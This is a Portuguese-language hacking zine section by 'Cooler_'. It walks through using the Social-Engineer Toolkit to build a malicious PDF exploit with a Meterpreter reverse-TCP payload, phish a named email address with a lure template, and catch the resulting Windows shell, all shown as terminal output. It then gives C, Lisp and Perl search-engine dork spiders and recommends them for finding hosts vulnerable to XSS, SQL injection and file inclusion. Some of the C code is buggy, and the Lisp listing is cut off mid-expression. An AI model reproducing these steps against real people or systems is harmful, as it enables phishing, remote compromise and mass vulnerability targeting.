 -----------
 216.21.239.197:www.chapolin.com
 216.21.239.197:www2.chapolin.com
 216.21.239.197:http.www.www.chapolin.com

---------------------------------------------
Bom com este exemplo prático você poderá ter um cocktail de e-mails

-0x08 E-mails e o "The Social-Engineer Toolkit"
================================================

   Está tarefa é considerada por muitos como atividade
 de "Lammer" ou "Kid" , na real se você esta determinado a
 atacar,não pode deixar de lado o fator humano,muitos nem sequer
 tentam "engenharia social" , muitas vezes você ficaria 4 horas
 para achar uma falha sendo que um "e-mail" com a engenharia social
 certa poderia quebrar um tabu...

 Uma solução OpenSource "The Social-Engineer Toolkit (SET)", uma
 ferramenta que é bem famosa até se não me engano teve palestra
 na defcon sobre ela...

 enfim no site IronGeek tem uma palestra sobre a ferramenta que vale ser vista:
 http://www.irongeek.com/i.php?page=videos/leveraging-social-engineering-in-your-infosec-program-david-kennedy

DOWNLOAD:
 svn co http://svn.secmaniac.com/social_engineering_toolkit set/

EXEMPLO:
-------------------------------------------
Select from the menu:

1.  Spear-Phishing Attack Vectors
2.  Website Attack Vectors
3.  Infectious Media Generator
4.  Create a Payload and Listener
5.  Mass Mailer Attack
6.  Teensy USB HID Attack Vector
7   Update the Metasploit Framework
8.  Update the Social-Engineer Toolkit
9.  Help, Credits, and About
10. Exit the Social-Engineer Toolkit

Enter your choice: 1

Welcome to the SET E-Mail attack method. This module allows you
to specially craft email messages and send them to a large (or small)
number of people with attached fileformat malicious payloads. If you
want to spoof your email address, be sure "Sendmail" is installed (it
is installed in BT4) and change the config/set_config SENDMAIL=OFF flag
to SENDMAIL=ON.

There are two options , one is getting your feet wet and letting SET do
everything for you (option 1) , the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

1. Perform a Mass Email Attack
2. Create a FileFormat Payload
3. Create a Social-Engineering Template
4. Return to Main Menu

Enter your choice: 1

Select the file format exploit you want.
The default is the PDF embedded EXE.

        ********** PAYLOADS **********

1. Adobe CoolType SING Table 'uniqueName' Overflow (0day)
2. Adobe Flash Player 'newfunction' Invalid Pointer Use
3. Adobe Collab.collectEmailInfo Buffer Overflow
4. Adobe Collab.getIcon Buffer Overflow
5. Adobe JBIG2Decode Memory Corruption Exploit
6. Adobe PDF Embedded EXE Social Engineering
7. Adobe util.printf() Buffer Overflow
8. Custom EXE to VBA (sent via RAR) (RAR required)
9. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

Enter the number you want (press enter for default): 1

1. Windows Reverse TCP Shell
2. Windows Meterpreter Reverse_TCP
3. Windows Reverse VNC
4. Windows Reverse TCP Shell (x64)
5. Windows Meterpreter Reverse_TCP (X64)
6. Windows Shell Bind_TCP (X64)

Enter the payload you want (press enter for default):
[*] Windows Meterpreter Reverse TCP selected.
Enter the port to connect back on (press enter for default):
[*] Defaulting to port 443...
[*] Generating fileformat exploit...
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.0.34:443
[*] Creating 'template.pdf' file...
[*] Generated output file /pentest/exploits/set/src/program_junk/template.pdf

[*] Payload creation complete.
[*] All payloads get sent to the src/msf_attacks/template.pdf directory
[*] Payload generation complete. Press enter to continue.

As an added bonus, use the file-format creator in SET to create your attachment.

Right now the attachment will be imported with filename of 'template.whatever'

Do you want to rename the file?

example Enter the new filename: moo.pdf

1. Keep the filename, I don't care.
2. Rename the file, I want to be cool.

Enter your choice (enter for default): 1
Keeping the filename and moving on.

Social Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would
be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.

What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
3. Return to main menu.

Enter your choice: 1

Do you want to use a predefined template or craft a one time email template.

1. Pre-Defined Template
2. One-Time Use Email Template

Enter your choice: 1
Below is a list of available templates:
--------------------------------------------------------

Repare que o programa nos permite escolher a engenharia social
é interessante tentar adicionar mais opções de engenharia social
para assim melhorar sua técnica,fazer adaptações da linguagem
aproveitar que é OpenSource...

--------------------------------------------------------
1: Baby Pics
2: Strange Internet usage from your computer
3: New Update
4: LOL...have to check this out...
5: Dan Brown's Angels & Demons
6: Computer Issue
7: Status Report

Enter the number you want to use: 5

Enter who you want to send email to: niltonseo@chapolin.com

What option do you want to use?

1. Use a GMAIL Account for your email attack.
2. Use your own server or open relay

Enter your choice: 5
Enter your GMAIL email address: rhbetao@chapolin.com
Enter your password for gmail (it will not be displayed back to you):

SET has finished delivering the emails.

Do you want to setup a listener yes or no: yes
[-] ***
[-] * WARNING: No database support: String User Disabled Database Support
[-] ***

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%     %%%         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%  %%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%    %%   %%%%%%%%%%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%  %%%%%
%%%%  %%  %%  %      %%      %%    %%%%%      %    %%%%  %%   %%%%%%       %%
%%%%  %%  %%  %  %%% %%%%  %%%%  %%  %%%%  %%%%  %% %%  %% %%% %%  %%%  %%%%%
%%%%  %%%%%%  %%   %%%%%%   %%%%  %%%  %%%%  %%    %%  %%% %%% %%   %%  %%%%%
%%%%%%%%%%%% %%%%     %%%%%    %%  %%   %    %%  %%%%  %%%%   %%%   %%%     %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

       =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 730 exploits - 374 auxiliary - 81 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops
       =[ svn r13693 updated today (2011.09.04)

msf >

resource (src/program_junk/meta_config)> use exploit/multi/handler
resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 192.168.0.34
LHOST => 192.168.0.34
resource (src/program_junk/meta_config)> set LPORT 443
LPORT => 443
resource (src/program_junk/meta_config)> set ENCODING shikata_ga_nai
ENCODING => shikata_ga_nai
resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse handler on 192.168.0.34:443
[*] Starting the payload handler...

msf exploit(handler) >
------------------------------------------

Deixamos o terminal aberto e esperamos a vitima abrir o arquivo PDF

------------------------------------------
[*] Sending stage (748544 bytes) to 192.168.0.76
[*] Meterpreter session 1 opened (192.168.0.34:443 -> 192.168.0.76:1139) at
    Thu Sep 04 01:58:06 -0400 2011

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 3218 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>
------------------------------------------

lembrando que esse foi exemplo bem simples

Bom sugiro que leia o manual  no arquivo "set/readme/User_Manual.pdf"
por la explica milhares de coisas bacanas para se fazer com esta ferramenta.

-0x09 Introdução a Automação no Google Hacking
==================================================

  Durante o "Google Hacking" temos que por muita vezes
 separar as URLs manualmente então abrir uma por uma para
 investigar qual realmente condiz com que buscamos , com
 programação simples com "Sockets" podemos fazer tal feito.
 O mais difícil pode ser apenas o "parser" mas nada que uma
 regex não resolva , escolha da linguagem de programação fica
 a seu critério vou tentar ilustrar...

 Vamos a um Exemplo em linguagem C
 vou comentar as linhas para ajudar no aprendizado...

-----------------------------------
/*
Googler v 0.001
autor:   Cooler_
contato: c00f3r[at]gmail[dot]com

Just Another Googler Spider
to help you in google hacking

--------------------------------------------
THANKS sigsegv and di0_ to help me in debug ;-)
---
HOW to USE ?
apt-get install libcurl-dev; gcc -o Googler Googler.c -lcurl; ./Googler

*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <regex.h>
#include <curl/curl.h>
#include <curl/types.h>
#include <curl/easy.h>

char *StrRep(char *st, char *orig, char *repl,const int mim);
char *regexp (char *string, char *patrn);
static size_t WriteMemoryCallback(void *ptr, size_t size, size_t nmemb, void *data);
void chomp (char * str);
int WriteFile(char *file,char *str);

void help()
{
 puts(
  "Simple Googler v0.001\n"
  "./code dork number_of_searchs log.txt\n"
  " ------------------------------------\n"
  " by Cooler_ , BugSec Team , contact: c00f3r[at]gmail[dot]com\n"
 );
}

struct MemoryStruct {
 char *memory;
 size_t size;
};

int main(int argc, char ** argv)
{
 struct MemoryStruct chunk;

// curl vars
 CURL *curl_handle;
 curl_global_init(CURL_GLOBAL_ALL);

// Google URL vars
 char *GOOGLE1="http://www.google.com/search?&q=";
 char *GOOGLE2="&start=";
 char *NUM=(char *)malloc(256*sizeof(char));
 char *GoogleURL=(char *)malloc(768*sizeof(char));
 char *BUSCA=(char *)malloc(128*sizeof(char));
 int  times=0;
//REGEX vars
 char *match;
 char **stack=(char **)malloc(3000*sizeof(char *));
 char *replace="";
 char *regex="(https?|ftp)+://[^ \t\r\n\v\f]*";
 int count=0;

 if(argc<3)
 {
  help();
  return 0;
 }

 BUSCA=argv[1];
 times=atoi(argv[2]);
 char *arquivo=argv[3];

 printf("\nProcurando por %s em  %d paginas\n",BUSCA,times);

 while(times)
 {
// pack da URL,manipulando os GETs como START == número da página, q == campo de busca
  strncpy(GoogleURL,GOOGLE1,sizeof(GOOGLE1)*strlen(GOOGLE1));
  strncat(GoogleURL,BUSCA,sizeof(BUSCA)*strlen(BUSCA));
  strncat(GoogleURL,GOOGLE2,sizeof(GOOGLE2)*strlen(GOOGLE2));
  sprintf(NUM,"%d",times);
  strncat(GoogleURL,NUM,sizeof(NUM));
  strncat(GoogleURL,"0",sizeof(char));

// veja como fica a URL
  puts(GoogleURL);
  puts("------------------\n");
  chunk.memory=NULL;
  chunk.size=0;

  curl_handle=curl_easy_init();
  curl_easy_setopt(curl_handle, CURLOPT_URL,GoogleURL);
  curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION,WriteMemoryCallback);
  curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA,(void *)&chunk);
  curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17 ");
/*
 UserAgent para diminuir as suspeitas de spider, se tirar isso o Google pode pedir captcha...
 se for fazer muitas buscas é aconselhavel usar proxy exemplo
  curl_easy_setopt (curl_handle, CURLOPT_PROXY,"http://127.0.0.1:8118/");
*/
  curl_easy_perform(curl_handle);
  curl_easy_cleanup(curl_handle);

  if(chunk.memory)
  {
   while(strstr(chunk.memory,"http"))
   {
    match=regexp(chunk.memory,regex);
// filtro simples para tirar urls do google
    if( !( strstr(match,"google") || strstr(match,"youtube") || strstr(match,"orkut") || strstr(match,"gstatic")) )
    {
// tirando " das urls
     chomp(match);
     puts(match);
// escrevendo no arquivo log
     WriteFile(arquivo,match);
//caso queira usar a lista mais tarde...
     *(stack+count)=match;
     count++;
    }
// apagamos a URL achada para pegar a próxima
    chunk.memory=StrRep(chunk.memory,match,replace,chunk.size);
    free(match);
   }
  }

  if(chunk.size < 10)
   free(chunk.memory);
 // limpamos o buffer do curl para o próximo
  curl_global_cleanup();

  times--;
 }

// limpamos a heap
 free(NUM);
 free(GoogleURL);
 free(stack);

 return 0;
}

static size_t WriteMemoryCallback(void *ptr,size_t size,size_t nmemb,void *data)
{
 size_t realsize=size*nmemb;
 struct MemoryStruct *mem=(struct MemoryStruct *)data;
 mem->memory=realloc(mem->memory,mem->size+realsize+1);
  if(mem->memory)
  {
   memcpy(&(mem->memory[mem->size]),ptr,realsize);
   mem->size+=realsize;
   mem->memory[mem->size]=0;
  }
 return realsize;
}

//string replace
char *StrRep(char *st,char *orig,char *repl,const int mim)
{
 char bufer[mim];
 char *ch;

  if(!(ch = strstr(st, orig)))
   return st;
 strncpy(bufer, st, ch-st);
 bufer[ch-st] = 0;
 sprintf(bufer+(ch-st),"%s%s",repl,ch+strlen(orig));

 char *out=bufer;

 return out;
}

char *regexp(char *string, char *patrn)
{
 int i=0,w=0,len=0,begin=0,end=0;
 char *word=NULL;

 regex_t rgT;
 regmatch_t match;

 regcomp(&rgT,patrn,REG_EXTENDED);

  if(!(regexec(&rgT,string,1,&match,0)))
  {
   begin=(int)match.rm_so;
   end=(int)match.rm_eo;
   len=end-begin;
   word=(char *)malloc(len+1);
   i=begin;
   while(i<end)
    word[w]=string[i],i++,w++;
   word[w]=0;
  }
 regfree(&rgT);

 return word;
}

//based m0nad's func chomp()
void chomp(char *str)
{
  while(*str)
  {
   if(*str=='"')
   {
    *str = 0;
    return;
   }
   str++;
  }
}

int WriteFile(char *file,char *str)
{
 FILE *arq;

 arq=fopen(file,"a");
  if(!arq)
  {
   fprintf(stdout,"error in WriteFile() %s",file);
   return 0;
  }
 fprintf(arq,"%s\n",str);
 fclose(arq);
 return 1;
}

-----------------------------------

  O código em si não esta perfeito ,mas o objetivo
 foi alcançado.não usei "sockets" para o código não
 ficar gigante usei o "Curl" e "posix regex" me
 economizou horas a fio. caso não queira usar a
 libCurl sugiro api "OrionSocket" do meu amigo IAK,
 http://code.google.com/p/orionsocket/ ,tem uma curva
 de aprendizado bem curta...

 Exemplo de Uso:
----------------------
                                            /quantas páginas buscar
                                           |
 $ ./Googler allinurl:.nasa.gov+-site:nasa 1 log.txt
                         |                       |
                        busca                   arquivo onde ficara as URL

 Procurando por allinurl:.nasa.gov+-site:nasa em  1 pagina
 http://www.google.com/search?&q=allinurl:.nasa.gov+-site:nasa&start=10
                                   |                                  |
                                  busca                          número dá página
                                                                concatenada com ZERO
 ---------------------

 http://sohowww.nascom.nasa.gov/
 http://spaceflight.nasa.gov/
 http://visibleearth.nasa.gov/
 http://earthobservatory.nasa.gov/
 http://www.nasa.gov/mission_pages/station/main/index.html
 http://www.nasa.gov/topics/universe/features/astrobiology_toxic_chemical.html
 http://www.nasa.gov/topics/universe/features/
 http://apod.nasa.gov/
 http://apod.nasa.gov/apod/archivepix.html
 http://www.top100science.com/www.hq.nasa.gov.html
 http://wholinkstome.com/url/science.nasa.gov

--------------------------

   Aqui a ideia foi simples buscar nomes de DNS alternativos
 do host "nasa.gov", nada de mais , apenas para ilustrar uma busca
 simples , você pode usar para procurar hosts vulneraveis a diversas
 falhas como Cross site scripting , Sql Injection , File Include ,
 File Disclosure... entre outras. Claro tendo a lista de URLs
 na mão você precisará fazer um outro programa,para abrir URL por
 URL da lista e testar com as devidas paradigmas da vulnerabilidade
 escolhida.

Exemplo:

--------------------------
#!/usr/bin/clisp
; Autor: Antonio "Cooler_"
; Contato: c00f3r@gmail.com
;
; Simple Dork Spider version 0.1 With Common Lisp
; example to install libs to wheel this code:
; apt-get install clisp cl-ppcre cl-usocket
; to use this folow example:
; chmod +x code; touch vuln.txt;
; ./code URLlist.txt string2search
; Bibliotecas usadas
(asdf:oos 'asdf:load-op :usocket)
(asdf:oos 'asdf:load-op :cl-ppcre)
; Pegamos entrada do arquivo e Dork
(setf nomefile (first ext:*args*))
(setf dork (second ext:*args*))
; Vendo se foi passado argumentos
(if(not nomefile) (format t "~%está faltando argumento do nomefile~%"))
(if(not dork) (format t "~%está faltando argumento do dork~%"))
; Abre lista
(let ((arquivo (open nomefile :if-does-not-exist nil)))
 (when arquivo
  (loop for line = (read-line arquivo nil) while line do
; Peneiramos dados do link , para passar de acordo
; com paradigmas do protocolo http
   (setf url (cl-ppcre:scan-to-strings "[^(http|https):\/\/](\\S+)[^\/]" line ))
   (setf site (cl-ppcre:scan-to-strings "(\\S[^\/]+)[^\/]" url))
   (setf index (cl-ppcre:scan-to-strings "\/(\\S+)" url))
; Construimos a socket
   (setq sock (usocket:socket-connect site 80))
   (format (usocket:socket-stream sock)
    "~A~A~A~C~A~A~C~C~C" "GET " index " HTTP/1.1" #\Newline "Host: " site  #\Return #\Newline #\Newline)
; mostramos saída
        (force-output (usocket:socket-stream sock))
        (do ((line
        (read-line (usocket:socket-stream sock) nil)

--------------------------

caso queira um código que faça o mesmo em C usando a
libcurl http://bugsec.googlecode.com/files/treant_.c
código é bem old mais é funcional...

terminando ai um código que busca URLs no BING, ilustrando que é possível
fazer spider para buscar em outros lugares, nada de mais este código meu já
tem uns 2 anos de vida ou mais :P

--------------------------
#!/usr/bin/perl -io
# load modules
use LWP;
use URI;
use HTML::TokeParser;
use Term::ANSIColor;
print color 'red';

sub limpa() {
 my $cmd=0; my $sys="$^O";
 if($sys eq "linux") { $cmd="clear"; } else {  $cmd="cls"; }
 print `$cmd`;
}

sub banner() {
 print q{
     ___           __               __
    /  _/___ _  _ _\ |___  _ __  | /  \ |
    \_  \ . \ \/ / . / ._\| `_/ \_\\\  //_/
    /___/  _/\  /\___\___\|_|    .'/()\`.
        |_\  /_/                 \ \  / /
 ::::::::: ::::::::::: ::::    :::  ::::::::
 :+:    :+:    :+:     :+:+:   :+: :+:    :+:
 +:+    +:+    +:+     :+:+:+  +:+ +:+
 +#++:++#+     +#+     +#+ +:+ +#+ :#:
 +#+    +#+    +#+     +#+  +#+#+# +#+   +#+#
 #+#    #+#    #+#     #+#   #+#+# #+#    #+#
 ######### ########### ###    ####  ########
 ---------------------------------------------
               Coded By Cooler_
 ---------------------------------------------
                 Version 0.1
}
}

my @config = (
 'User-Agent'=>'Mozilla/4.76 [en] (Win98; U)',
 'Accept'=>'image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,image/png, */*',
 'Accept-Charset'=>'iso-8859-1',
 'Accept-Language'=>'en-US',
);

$busca=$ARGV[0]; $txt=$ARGV[1];
print "Searching to: $busca\n save in $txt\n\n";
if((!$busca)&&(!$txt)) { banner(); print "Please follow the example ./programm dork file.txt\n";
              print color 'reset'; exit;
}
if(($busca)&&($txt)) {
 for($num=0; $num<=100; $num++) {
  $url=URI->new('http://www.bing.com/search');
  $url->query_form( 'q'=>$busca,'go'=>'','filt'=>'all','first'=>$num.'1' );
  $navegador=LWP::UserAgent->new;
  my $resultado=$navegador->get($url,@config);
  $res=$resultado->content;
  #open(OUT, ">>index.html"); print OUT "$res\n"; close(OUT);
  #$p = HTML::TokeParser->new("index.html");
  $p = HTML::TokeParser->new(\$res);
  while ($p->get_tag("cite")) {
      my @link = $p->get_trimmed_text("/cite");
      foreach(@link) { print "$_\n"; }
      open(OUT, ">>$txt"); print OUT "@link\n"; close(OUT);
      #unlink("index.html");
  }
 }
 open(OUT,"<$txt"); $line=0; foreach(<OUT>) { if($_ =~ /\S/) { $line+=1; } }
 limpa(); banner();
 print "---------------\nTotal off links $line ,save in $txt\n";
 sleep 1; print color 'reset'; exit;
}
--------------------------

se não tiver algum módulo use o CPAN para instalar

 $ cpan -i nome_modulo

-0x0a Agradecimentos
======================
 Espero ter ajudado...
 fico por aqui...
 ------------------------

 Galera do Bugsec.com.br  "I4K,m0nad,_mlk_,sigsegv,b-man"
 Galera da freenode dos canais #fym,#reset,#c-br,#calculus,#lisp-br,#gentoo-br,#gdb,#c4ll

 Galera em geral: eremitah,syn_ack,di0,tau,s0n1c,ryonagana,camarllon,twi-john,B4r0n,
                 memset,vuln,delf0,VonNaturAustreVe,menteBinária(nandu),decoder,
                 voidpointer(diego rocha),muzgo,mario-goulart,brn,clandestine,
                 zhide00,sm0k_,darkside,madrand,f117,t0kata,edenc e nibles.

 visite ai http://coolerlab.wordpress.com
           http://code.google.com/u/c00f3r/
           https://github.com/CoolerVoid/

           _____
         .:     :.
        (_________)
     __     | |
   .:  :.   | |
  (______)  / /
     ||    / /
     ||   / / __
   _ ||  | | (__)          ,
  (_) \\010|  ||        .;       _..--,
   \\.0101010110.      ;':      '  ',,,\    .^.                      .^.     .^.
   .0101011010101.     ;_;             '|_          ,'
  .100101010101011.    |              .;;;;.,     ,':     .^.      '.   .^.
                   ,;::;:::..      ..;;;;;;;;.. :_,'             .;'
    .^.          .'     '':::;._.;;::::''''':;::;/'             .;:;
                .          ':::::::;;'      ':::::          ...;:               .^.
  .^.                         ':::'          /':::;      ..:::::;:..::::::::..      .^.
          .^.          .^.       ;         ,'; ':::;;...;::;;;;' ';;.        .^.
                            ,,,_/          ; ;   ';;:;::::'          '.
   .^.                   ..'  ,'           ;'         ''\             '
         .^.            '  '''     .^.    '              ;'.    .^.     .^.
                                                         : :        .^.